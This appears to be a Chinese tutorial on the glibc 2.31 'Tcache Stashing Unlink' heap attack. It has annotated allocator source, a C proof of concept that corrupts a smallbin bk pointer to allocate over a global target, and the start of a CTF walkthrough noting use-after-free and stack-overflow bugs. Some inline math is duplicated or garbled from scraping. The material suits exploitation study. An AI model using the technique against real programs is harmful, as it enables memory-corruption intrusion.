• Tcache Stashing Unlink Attack 原理详解


    0x0 简介

    攻击成效:向任意地址写堆地址分配任意地址

    攻击前提:

    1. 能够控制 S m a l l   B i n   c h u n k \textcolor{orange}{Small\ Bin\ chunk} Small Bin chunkbk指针
    2. 程序可以越过Tachechunk。(calloc可以做到)
    3. 程序可以分配两种不同大小且属于 U n s o r t e d   B i n \textcolor{orange}{Unsorted\ Bin} Unsorted Binchunk

    本章分析环境是 G l i b c 2.31 \textcolor{green}{本章分析环境是Glibc2.31} 本章分析环境是Glibc2.31

    0x1 原理

    c a l l o c \textcolor{cornflowerblue}{calloc} calloc函数是直接调用 _ i n t _ m a l l o c \textcolor{cornflowerblue}{\_int\_malloc} _int_malloc函数分配内存的,并且会清空内存

    void *
    __libc_calloc (size_t n, size_t elem_size)
    {
        ...
        mem = _int_malloc (av, sz);
        p = mem2chunk (mem);
    
      /* Two optional cases in which clearing not necessary */
      if (chunk_is_mmapped (p))
      {
          if (__builtin_expect (perturb_byte, 0))
              return memset (mem, 0, sz);
    
          return mem;
      }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    所以 c a l l o c \textcolor{cornflowerblue}{calloc} calloc可以越过 tcache取空闲内存。而 m a l l o c \textcolor{cornflowerblue}{malloc} malloc函数先是判断是否启用了 tcache,在启用的情况下优先从 tcache中取出空闲内存给用户

    void *
    __libc_malloc (size_t bytes)
    {
        ...
    #if USE_TCACHE
      /* int_free also calls request2size, be careful to not pad twice.  */
      size_t tbytes;
      if (!checked_request2size (bytes, &tbytes))
      {
          __set_errno (ENOMEM);
          return NULL;
      }
      size_t tc_idx = csize2tidx (tbytes);
    
      MAYBE_INIT_TCACHE ();
    
      DIAG_PUSH_NEEDS_COMMENT;
      if (tc_idx < mp_.tcache_bins
          && tcache
          && tcache->counts[tc_idx] > 0)
      {
          return tcache_get (tc_idx);
      }
      DIAG_POP_NEEDS_COMMENT;
    #endif
      if (SINGLE_THREAD_P)
      {
         victim = _int_malloc (&main_arena, bytes);
         assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
         &main_arena == arena_for_chunk (mem2chunk (victim)));
         return victim;
      }
      ...
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    @line:13 函数根据用户请求的 bytes去计算所在 tcache的下标 tc_idx,如果 tc_idx不超过 64并且该索引下的节点个数大于 0就从 tcache中取空闲堆给用户。

    再来看最核心的代码,与本章主角相关的代码块

    static void *
    _int_malloc (mstate av, size_t bytes)
    {
      ...
      if (in_smallbin_range (nb))
      {
          idx = smallbin_index (nb);
          bin = bin_at (av, idx);
    	 // victim是smallbin中最后一个块
          if ((victim = last (bin)) != bin)
          {
              bck = victim->bk;
              if (__glibc_unlikely (bck->fd != victim))
                  malloc_printerr ("malloc(): smallbin double linked list corrupted");
              
              set_inuse_bit_at_offset (victim, nb);
              bin->bk = bck;
              bck->fd = bin;
    
              if (av != &main_arena)
                  set_non_main_arena (victim);
              check_malloced_chunk (av, victim, nb);
    #if USE_TCACHE //如果程序启用了Tcache
              // 如果smallbin中还有其他相同大小的块,则将他们存到tcache中
              size_t tc_idx = csize2tidx (nb);
              if (tcache && tc_idx < mp_.tcache_bins)
              {
                  mchunkptr tc_victim;
    
                  // 如果smallbin不为空,且tcache没满,就将smallbin中剩下的块复制进tcache去
                  while (tcache->counts[tc_idx] < mp_.tcache_count
                         && (tc_victim = last (bin)) != bin)
                  {
                      if (tc_victim != 0)
                      {
                          bck = tc_victim->bk;
                          set_inuse_bit_at_offset (tc_victim, nb);
                          if (av != &main_arena)
                              // 如果不是 main_arena,设置对应的标志
                              set_non_main_arena (tc_victim);
                          bin->bk = bck;
                          bck->fd = bin;
    					// 将chunk放进tcache
                          tcache_put (tc_victim, tc_idx);
                      }
                  }
              }
     #endif
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
          }
      }
            
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55

    这是系统在分配属于 smallbinchunk时的核心操作。这里面的提到的 fastbinunsortedbintcachesmallbinlargebin均是使用头插法插入节点的,所以最后释放的 chunk会最靠近链表头部。

    @line:9 victim是smallbin中的最后一个块,如果最后一个块不等于bin,说明smallbin不为空。接着将victim从smallbin中摘除 @line:17,最后返回给用户使用的部分就是 v i c t i m + 0 x 10 \textcolor{orange}{victim+0x10} victim+0x10 @line:48。而在此之前,如果启用了tcache,系统会将smallbin中剩下的块 逆序 放到tcache中 @line:26

    @line:34 tc_victimsmallbin摘除掉用户请求的块之后剩下节点的最后一个节点,@line:40tc_victimsmallbin中摘除,放入相应的 tcache链表中。 t c a c h e   s t a s h i n g   u n l i n k 利用关键就在于此。 \textcolor{green}{tcache\ stashing\ unlink利用关键就在于此。} tcache stashing unlink利用关键就在于此。

    这种利用手法要求 smallbin中有两个 chunk,通过修改 s m a l l b i n [ 0 ] − > b k \textcolor{orange}{smallbin[0]->bk} smallbin[0]>bk为目标 c h u n k − 0 x 20 \textcolor{orange}{chunk-0x20} chunk0x20,并且目标块的 bk(+0x18) 指向的地址可写。这么一修改相当于是往之前的 smallbin的链表头部插入了一个节点,但是这个节点的 fd字段无效,如下图所示:

    在这里插入图片描述

    t a r g e t − 0 x 20 \textcolor{orange}{target-0x20} target0x20fd字段无效并不影响系统对 s m a l l b i n [ 0 ] \textcolor{orange}{smallbin[0]} smallbin[0]进行 unlink操作,因为 @line:42会将一个有效的指针赋值给 fd字段,只要保证 bk字段是有效的指针即可。

    正如上图所示,我们的修改破坏了 smallbin链表的前后关系,@line:32的条件恒为真,如果 tcache不为空将会导致系统继续对 t a r g e t − 0 x 20 \textcolor{orange}{target-0x20} target0x20bk指针指向的块进行 unlink操作,而我们没法保证也不想去管后续块的 bk指针是否有效,所以极有可能就会异常。为了避免这种情况,我们通常用 smallbin中同样大小的 5个块占掉 tcache相应大小的 5个节点。当用户再次使用 c a l l o c \textcolor{cornflowerblue}{calloc} calloc分配 smallbin中的 c h u n k − > s i z e − 0 x 10 \textcolor{orange}{chunk->size-0x10} chunk>size0x10时,系统会把图中的 s m a l l b i n [ 1 ] + 0 x 10 \textcolor{orange}{smallbin[1]+0x10} smallbin[1]+0x10返回给用户,并将 s m a l l b i n [ 0 ] + 0 x 10 \textcolor{orange}{smallbin[0]+0x10} smallbin[0]+0x10 t a r g e t − 0 x 10 \textcolor{orange}{target-0x10} target0x10链入 tcache相应大小的链表中,并且 t a r g e t − 0 x 10 \textcolor{orange}{target-0x10} target0x10处在 tcache第一个节点位置。最后用户可以通过 m a l l o c \textcolor{cornflowerblue}{malloc} malloc一个大小 s i z e   =   t c a c h e [ 0 ] − > s i z e − 0 x 10 \textcolor{orange}{size\ =\ tcache[0]->size-0x10} size = tcache[0]>size0x10就可以得到块 t a r g e t − 0 x 10 \textcolor{orange}{target-0x10} target0x10

    再来看看系统是如何将空闲的块放入 smallbin对应的链表中的。

    for (;; )
    {
      int iters = 0;
      // 如果unsortedbin不为空
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
    	{
    	  // victim是当前unsortedbin中的第一个块
    	  bck = victim->bk;
    	  size = chunksize (victim);
    	  mchunkptr next = chunk_at_offset (victim, size);
    	
    	...
    
    	  /* 将victim从unsortedbin中摘除 */
    	  if (__glibc_unlikely (bck->fd != victim))
    		malloc_printerr ("malloc(): corrupted unsorted chunks 3");
    	  unsorted_chunks (av)->bk = bck;
    	  bck->fd = unsorted_chunks (av);
    
    	  /* 如果victim大小正好和用户请求的大小一致
    		 ,则将victim+0x10返回给用户
    	  */
    
    	  if (size == nb)
    		{
    		  set_inuse_bit_at_offset (victim, size);
    		  if (av != &main_arena)
    			set_non_main_arena (victim);
    			...
    			check_malloced_chunk (av, victim, nb);
    		  void *p = chunk2mem (victim);
    		  alloc_perturb (p, bytes);
    		  return p;
    		}
    
    	  /* place chunk in bin */
    
    	  if (in_smallbin_range (size))
    		{
    		  victim_index = smallbin_index (size);
    		  bck = bin_at (av, victim_index);
    		  fwd = bck->fd;
    		}
    	  else
    		{
    		  victim_index = largebin_index (size);
    		  bck = bin_at (av, victim_index);
    		  fwd = bck->fd;
    		  ...
    		}
    	  // 将victim放入相应的bin链表中
    	  mark_bin (av, victim_index);
    	  victim->bk = bck;
    	  victim->fd = fwd;
    	  fwd->bk = victim;
    	  bck->fd = victim;
    ...
    
    #define MAX_ITERS       10000
    	  if (++iters >= MAX_ITERS)
    		break;
    	}
    ...
      /*
    	 If a large request, scan through the chunks of current bin in
    	 sorted order to find smallest that fits.  Use the skip list for this.
       */
    
      if (!in_smallbin_range (nb))
    	{
    	  bin = bin_at (av, idx);
    
    	  /* 如果largebin不为空 */
    	  if ((victim = first (bin)) != bin
    	  && (unsigned long) chunksize_nomask (victim)
    		>= (unsigned long) (nb))
    		{
    		  victim = victim->bk_nextsize;
    		  while (((unsigned long) (size = chunksize (victim)) <
    				  (unsigned long) (nb)))
    			victim = victim->bk_nextsize;
    
    		  /* Avoid removing the first entry for a size so that the skip
    			 list does not have to be rerouted.  */
    		  if (victim != last (bin)
    	  && chunksize_nomask (victim)
    		== chunksize_nomask (victim->fd))
    			victim = victim->fd;
    
    		  remainder_size = size - nb;
    		  unlink_chunk (av, victim);
    
    		  // 如果剩余大小小于0x1F,则将这剩余部分与用户请求的大小视作一个整体 
    		  if (remainder_size < MINSIZE)
    			{
    			  set_inuse_bit_at_offset (victim, size);
    			  if (av != &main_arena)
    		set_non_main_arena (victim);
    			}
    		  /* 如果剩余大小大于等于0x1F,则进行切割,剩余部分将链入unsortedbin对应的链表中 */
    		  else
    			{
    			  remainder = chunk_at_offset (victim, nb);
    			  /* We cannot assume the unsorted list is empty and therefore
    				 have to perform a complete insert here.  */
    			  bck = unsorted_chunks (av);
    			  fwd = bck->fd;
    	  if (__glibc_unlikely (fwd->bk != bck))
    		malloc_printerr ("malloc(): corrupted unsorted chunks");
    			// 重新将剩下的块链入unsortedbin对应的链表中
    			  remainder->bk = bck;
    			  remainder->fd = fwd;
    			  bck->fd = remainder;
    			  fwd->bk = remainder;
    			  if (!in_smallbin_range (remainder_size))
    				{
    				  remainder->fd_nextsize = NULL;
    				  remainder->bk_nextsize = NULL;
    				}
    			  set_head (victim, nb | PREV_INUSE |
    						(av != &main_arena ? NON_MAIN_ARENA : 0));
    			  set_head (remainder, remainder_size | PREV_INUSE);
    			  set_foot (remainder, remainder_size);
    			}
    		  check_malloced_chunk (av, victim, nb);
    		  void *p = chunk2mem (victim);
    		  alloc_perturb (p, bytes);
    		  return p;
    		}
    	}
    
      ++idx;
      bin = bin_at (av, idx);
      block = idx2block (idx);
      map = av->binmap[block];
      bit = idx2bit (idx);
    
      for (;; )
    	{
    	...
    
    	  /* Inspect the bin. It is likely to be non-empty */
    	  victim = last (bin);
    
    	  /*  If a false alarm (empty bin), clear the bit. */
    	  // 如果largebin为空
    	  if (victim == bin)
    		{
    		  ...
    		}
    
    	  else
    		{
    		  size = chunksize (victim);
    
    		  /*  We know the first chunk in this bin is big enough to use. */
    		  assert ((unsigned long) (size) >= (unsigned long) (nb));
    
    		  remainder_size = size - nb;
    
    		  /* unlink */
    		  unlink_chunk (av, victim);
    
    		  /* Exhaust */
    		  if (remainder_size < MINSIZE)
    			{
    			  set_inuse_bit_at_offset (victim, size);
    			  if (av != &main_arena)
    		set_non_main_arena (victim);
    			}
    
    		  // 切割
    		  else
    			{
    			  // remainder是largebin中切割剩下的块
    			  remainder = chunk_at_offset (victim, nb);
    			  bck = unsorted_chunks (av);
    			  fwd = bck->fd;
    	  if (__glibc_unlikely (fwd->bk != bck))
    		malloc_printerr ("malloc(): corrupted unsorted chunks 2");
    			  // 将remainder重新链入unsortedbin
    			  remainder->bk = bck;
    			  remainder->fd = fwd;
    			  bck->fd = remainder;
    			  fwd->bk = remainder;
    
    			  if (in_smallbin_range (nb))
    				av->last_remainder = remainder;
    			  if (!in_smallbin_range (remainder_size))
    				{
    				  remainder->fd_nextsize = NULL;
    				  remainder->bk_nextsize = NULL;
    				}
    			  // 给切割出来的块加上头部数据
    			  set_head (victim, nb | PREV_INUSE |
    						(av != &main_arena ? NON_MAIN_ARENA : 0));
    			  // 剩余块也需要修改一下头部数据
    			  set_head (remainder, remainder_size | PREV_INUSE);
    			  set_foot (remainder, remainder_size);
    			}
    		  check_malloced_chunk (av, victim, nb);
    		  // 将victim+0x10返回给用户
    		  void *p = chunk2mem (victim);
    		  alloc_perturb (p, bytes);
    		  return p;
    		}
    	}
    ...
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177
    • 178
    • 179
    • 180
    • 181
    • 182
    • 183
    • 184
    • 185
    • 186
    • 187
    • 188
    • 189
    • 190
    • 191
    • 192
    • 193
    • 194
    • 195
    • 196
    • 197
    • 198
    • 199
    • 200
    • 201
    • 202
    • 203
    • 204
    • 205
    • 206
    • 207
    • 208
    • 209

    以上代码片段是系统根据用户请求内存分配大小对 unsortedbin的处理,有这么几种情况:

    • unsortedbin中有一个块(不妨记为 unsorted_chunk),其大小大于smallbin的上限(0x3ff),此时用户请求一个大小为size1的内存,size1小于 unsorted_chunk,系统就会将 unsorted_chunkunsortedbin中摘除 @line:14,放入largebin中**@line:52**。然后在 largebin中切割出合适的块 @line:173返回给用户 @line:203,并将剩下的块重新链入 unsortedbin对应的链表中 @line:182

    • unsortedbin中有一个块(不妨记为 unsorted_chunk),其大小小于smallbin的上限(0x3ff),此时用户请求一个大小为 size1的内存,size1等于unsortedbin_chunk,系统就会将 unsorted_chunkunsortedbin中摘除 @line:14,然后返回给用户 @line:31

    • unsortedbin中有一个块(不妨记为 unsorted_chunk),其大小小于smallbin的上限(0x3ff),此时用户请求一个大小为 size1的内存,size1大于unsortedbin_chunk,系统就会将 unsorted_chunkunsortedbin中摘除 @line:14,然后放到 smallbin相应的链表中 @line:52。接着查找 largebin中有没有合适的块可以分配给用户,找到了就切割给用户 @line:158,找不到就从top_chunk中切割给用户。

    下面再来看 t c a c h e _ p u t \textcolor{cornflowerblue}{tcache\_put} tcache_put函数

    static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx)
    {
      // e = chunk + 0x10
      tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
      assert (tc_idx < TCACHE_MAX_BINS);
    
      /* Mark this chunk as "in the tcache" so the test in _int_free will
         detect a double free.  */
      e->key = tcache;
    
      e->next = tcache->entries[tc_idx];
      tcache->entries[tc_idx] = e;
      ++(tcache->counts[tc_idx]);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    该函数并没有任何检测,当Tcahce中有多余的空位时,就直接将空闲的 c h u n k + 0 x 10 \textcolor{orange}{chunk+0x10} chunk+0x10放进来。

    0x2 概念验证

    #include
    #include
    #include
    
    char target[]="Can you modify me?";
    
    int main()
    {
        puts(" ========================================================================");
        puts("|           Wellcome to the Tcache stashing unlink attack!               |");
        puts(" ========================================================================");
        
        printf("\n[*] Info:\n");
        printf("[+] target addr = %p, data: %s\n",target,target);
        puts("--------------------------------------------------------------------------");
        printf("[*] Step1: Fill tcache with 5 chunk of size 0x30.\n");
        char* pad1 = (char*)malloc(0x20);
        printf("[+] pad1 addr: %p\n",pad1);
        //用5个0x30大小的chunk填充Tcache
        for(int i=0;i<5;i++)
        {
            free(pad1);
            // 清除key,绕过double free的检测
            *(size_t*)(pad1+8) = 0;
        }
        puts("--------------------------------------------------------------------------");
        printf("[*] Step2: Free chunk of size 0x460 into unsortedbin.\n");
        char* unsorted_chunk1 = (char*)calloc(0x450,1);
        printf("[+] unsorted_chunk1 addr: %p\n",unsorted_chunk1);
        char* pad2 = (char*)calloc(0x20,1);
        printf("[+] pad2 addr: %p\n",pad2);
        // 将unsorted_chunk1放入 unsortedbin
        free(unsorted_chunk1);
        puts("--------------------------------------------------------------------------");
        printf("[*] Step3: Cut a chunk of size 0x430 from unsortedbin.\n");
        // 从unsortedbin中切割0x450-0x30大小的chunk出来
        char* p1 = (char*)calloc(0x450-0x30,1);
        printf("[+] p1 addr: %p\n",p1);
        puts("--------------------------------------------------------------------------");
        printf("[*] Step4: System puts the remaining chunk of size 0x30 into smallbin.\n");
        // 将剩下的0x30大小的chunk放入smallbin
        char* p2 = (char*)calloc(0x60,1);
        printf("[+] p2 addr: %p\n",p2);
        puts("--------------------------------------------------------------------------");
        printf("[*] Step5: Repeat steps 2 through 4 above.\n");
        // 用同样的方法,再制作一个smallbin chunk
        char* unsorted_chunk2 = (char*)calloc(0x450,1);
        printf("[+] unsorted_chunk2 addr: %p\n",unsorted_chunk2);
        // 这里不能申请0x20大小的块,否则会从smallbin中取出
        char* pad3 = (char*)calloc(0x30,1);
        printf("[+] pad3 addr: %p\n",pad3);
        free(unsorted_chunk2);
        // 从unsortedbin中切割0x450-0x30大小的chunk出来
        char* p3 = (char*)calloc(0x450-0x30,1);
        printf("[+] p3 addr: %p\n",p3);
        // 将剩下的0x30大小的chunk放入smallbin
        char* p4 = (char*)calloc(0x60,1);
        printf("[+] p4 addr: %p\n",p4);
        puts("--------------------------------------------------------------------------");
        printf("[*] Step6: Modify smallbin[0]->bk = target-0x20, \nand trigger Tcache stashing unlink.\n");
        // 修改smmabin[0]->bk = target-0x20;
        *(size_t*)(pad3-0x28) = (size_t)(target-0x20);
        // 触发Tcache stashing unlink
        char* p7 = (char*)calloc(0x20,1);
        // 分配得到目标内存target-0x10
        char* p8 = (char*)malloc(0x20); 
        puts("--------------------------------------------------------------------------");
        printf("[*] Succ: Modify target data: hack!\n");
        strcpy(p8+0x10,"hack!");
        printf("[+] Look up: %s\n",target);
        return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72

    在这里插入图片描述

    0x3 总结

    综上,利用 T c a c h e   S t a s h i n g   U n l i n k \textcolor{orange}{Tcache\ Stashing\ Unlink} Tcache Stashing Unlink 的一般步骤:

    1. 如果是想通过 T c a c h e   S t a s h i n g   U n l i n k \textcolor{orange}{Tcache\ Stashing\ Unlink} Tcache Stashing Unlink任意地址(Target)分配,则先释放5size1chunk进入Tcache;如果只是想任意地址写glibc内存,则先要释放6size1chunk进入Tcache
    2. 将一个大小为 size2的块释放进 unsortedbin中。
    3. 使用函数 c a l l o c \textcolor{cornflowerblue}{calloc} calloc分配一个大小为 size3的块,要求 s i z e 3 < s i z e 2 ;   s i z e 2 − s i z e 3   =   s i z e 1 \textcolor{orange}{size3size3<size2; size2size3 = size1
    4. 使用函数 c a l l o c \textcolor{cornflowerblue}{calloc} calloc分配一个大小为 size4的块,要求 s i z e 4 > s i z e 1 \textcolor{orange}{size4>size1} size4>size1。此时,系统就会将unsortedbin中剩下大小为size1的块链入 smallbin相应的链表中。
    5. 重复一次步骤 24,此时 smallbin中就有了两个相同大小的块,大概样子是 c h u n k 2 − > f d = > c h u n k 1 ; c h u n k 2 − > b k = > m a i n _ a r e n a _ n e a r \textcolor{orange}{chunk2->fd=>chunk1;chunk2->bk=>main\_arena\_near} chunk2>fd=>chunk1chunk2>bk=>main_arena_near
    6. 在步骤 5的基础上编辑chunk2使得 c h u n k 2 − > f d = > c h u n k 1 \textcolor{orange}{chunk2->fd=>chunk1} chunk2>fd=>chunk1保持不变,但是chunk2_bk指向你想要的内存地址( T a r g e t − 0 x 20 \textcolor{orange}{Target-0x20} Target0x20)。 注意: T a r g e t − 0 x 8 必须指向可写地址 \textcolor{green}{注意:Target-0x8必须指向可写地址} 注意:Target0x8必须指向可写地址
    7. 使用 c a l l o c ( ) \textcolor{cornflowerblue}{calloc()} calloc()分配 s i z e 3 − 0 x 10 \textcolor{orange}{size3-0x10} size30x10大小的 chunk就会触发 T c a c h e   S t a s h i n g   U n l i n k \textcolor{orange}{Tcache\ Stashing\ Unlink} Tcache Stashing Unlink
    8. 再使用 m a l l o c ( ) \textcolor{cornflowerblue}{malloc()} malloc()分配 s i z e 3 − 0 x 10 \textcolor{orange}{size3-0x10} size30x10大小的chunk就会得到目标地址 T a r g e t − 0 x 10 \textcolor{orange}{Target-0x10} Target0x10,或者目标地址 T a r g e t − 0 x 10 \textcolor{orange}{Target-0x10} Target0x10被写入了 glibc地址。

    0x4 实战

    例1.2020新春红包题3

    [保护]:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    
    • 1
    • 2
    • 3
    • 4
    • 5

    [分析]:

    程序一共有4个可用操作:

    1. Get red packets。对应的伪代码:
    if ( v4 == 1 )
          {
            if ( counts <= 0 )//counts=28
              Exit();
            Add(&v3);
            --counts;
          }
    ...
    int __fastcall Add(char *a1)
    {
      int v2; // [rsp+10h] [rbp-20h]
      int v3; // [rsp+14h] [rbp-1Ch]
      unsigned int v4; // [rsp+18h] [rbp-18h]
      signed int size; // [rsp+1Ch] [rbp-14h]
    
      printf("Please input the red packet idx: ");
      v4 = GetNum();
      if ( v4 > 0x10 )
        Exit();
      printf("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ");
      v3 = GetNum();
      if ( v3 == 2 )
      {
        size = 0xF0;
      }
      else if ( v3 > 2 )
      {
        if ( v3 == 3 )
        {
          size = 0x300;
        }
        else
        {
          if ( v3 != 4 )
            goto LABEL_14;
          size = 0x400;
        }
      }
      else
      {
        if ( v3 != 1 )
        {
    LABEL_14:
          size = 0;
          goto LABEL_15;
        }
        size = 16;
      }
    LABEL_15:
      if ( size != 16 && size != 240 && size != 768 && size != 1024 )
        Exit();
      *&a1[16 * v4] = calloc(1uLL, size);
      *&a1[16 * v4 + 8] = size;
      printf("Please input content: ", size);
      v2 = read(0, *&a1[16 * v4], *&a1[16 * v4 + 8]);
      if ( v2 <= 0 )
        Exit();
      *(v2 - 1LL + *&a1[16 * v4]) = 0;
      return puts("Done!");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 只能申请0x100xf00x3000x400的块,并且该操作只能进行28次。
    1. Throw red packets。对应为伪代码:
    int __fastcall Del(char *a1)
    {
      unsigned int v2; // [rsp+1Ch] [rbp-4h]
    
      printf("Please input the red packet idx: ");
      v2 = GetNum();
      if ( v2 > 0x10 || !*&a1[16 * v2] )
        Exit();
      free(*&a1[16 * v2]);
      return puts("Done!");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 存在UAF漏洞。
    1. change red packets。对应伪代码:
    int __fastcall Edit(__int64 a1)
    {
      int v2; // [rsp+18h] [rbp-8h]
      unsigned int v3; // [rsp+1Ch] [rbp-4h]
    
      if ( qword_4010 <= 0 )
        Exit();
      --qword_4010;
      printf("Please input the red packet idx: ");
      v3 = GetNum();
      if ( v3 > 0x10 || !*(16LL * v3 + a1) )
        Exit();
      printf("Please input content: ");
      v2 = read(0, *(16LL * v3 + a1), *(16LL * v3 + a1 + 8));
      if ( v2 <= 0 )
        Exit();
      *(v2 - 1LL + *(16LL * v3 + a1)) = 0;
      return puts("Done!");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 存在UAF漏洞,可以修改释放后块的数据。
    1. watch red packets。对应伪代码:
    int __fastcall Show(__int64 a1)
    {
      unsigned int v2; // [rsp+1Ch] [rbp-4h]
    
      printf("Please input the red packet idx: ");
      v2 = GetNum();
      if ( v2 > 0x10 || !*(16LL * v2 + a1) )
        Exit();
      puts(*(16LL * v2 + a1));
      return puts("Done!");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 存在UAF,可以输出释放后块的数据。
    1. 后门函数,对应的选项666
    ssize_t BackDoor()
    {
      char buf; // [rsp+0h] [rbp-80h]
    
      if ( *(g_Mem + 256) <= 0x7F0000000000LL || *(g_Mem + 255) || *(g_Mem + 257) )
        Exit();
      puts("You get red packet!");
      printf("What do you want to say?");
      return read(0, &buf, 0x90uLL);                // 栈溢出
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 老套路了,这一看就应该是最终要使用到的地方。因为程序在一开始的时候就设置了沙箱规则:
    line  CODE  JT   JF      K
    =================================
     0000: 0x20 0x00 0x00 0x00000004  A = arch
     0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
     0002: 0x20 0x00 0x00 0x00000000  A = sys_number
     0003: 0x35 0x07 0x00 0x40000000  if (A >= 0x40000000) goto 0011
     0004: 0x15 0x06 0x00 0x0000003b  if (A == execve) goto 0011
     0005: 0x15 0x00 0x04 0x00000001  if (A != write) goto 0010
     0006: 0x20 0x00 0x00 0x00000024  A = count >> 32 # write(fd, buf, count)
     0007: 0x15 0x00 0x02 0x00000000  if (A != 0x0) goto 0010
     0008: 0x20 0x00 0x00 0x00000020  A = count # write(fd, buf, count)
     0009: 0x15 0x01 0x00 0x00000010  if (A == 0x10) goto 0011
     0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0011: 0x06 0x00 0x00 0x00000000  return KILL
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 程序禁用了 e x e c v e ( ) \textcolor{cornflowerblue}{execve()} execve(),所以只能通过栈溢出构造Ropchain读取flag

